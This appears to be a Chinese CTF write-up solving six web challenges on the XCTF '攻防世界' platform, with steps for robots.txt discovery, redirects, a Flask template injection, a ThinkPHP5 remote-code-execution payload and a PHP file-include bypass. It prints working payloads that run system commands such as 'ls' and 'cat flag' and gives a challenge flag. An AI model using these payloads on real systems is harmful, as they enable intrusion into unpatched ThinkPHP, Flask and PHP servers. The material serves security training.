攻防世界——web高手进阶区(1~6)
(1)baby_web:
1.根据提示,在url中输入index.php,发现打开的仍然还是1.php
2.打开火狐浏览器的开发者模式,选择网络模块,再次请求index.php,查看返回包,可以看到location参数被设置了1.php,并且得到flag
(2)Training-WWW-Robots:
直接先访问robots.txt:
然后在url在输入/fl0g.php,得到flag
(3)Web_python_template_injection:
首先构造/{{config}},没想到直接输出了全局变量的信息:
在执行管道命令
/{{’’.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen(‘ls’).read()}}
继续/{{’’.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen(‘cat fl4g’).read()}}
得到flag
(4)php_rce:
thinkphp5 漏洞利用
直接payload
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27
得到flag
(5)Web_php_include:
打开网址,得到php代码提示
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
步骤:
1.审计php代码,while函数根据page参数来判断php文件是否存在,如果存在此文件,则进行文件包含。
2.默认页面为http://127.0.0.1/index.php,设置为page值,可确保while为真
3.利用hello参数将执行内容显示,flag如图所示
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E
访问后
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
<?php
$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";
?>
得到flag
(6)supersqli:
此题博主基础有限,写不出好的解题思路,推荐攻防世界web进阶区supersqli
这里有详细的解体思路。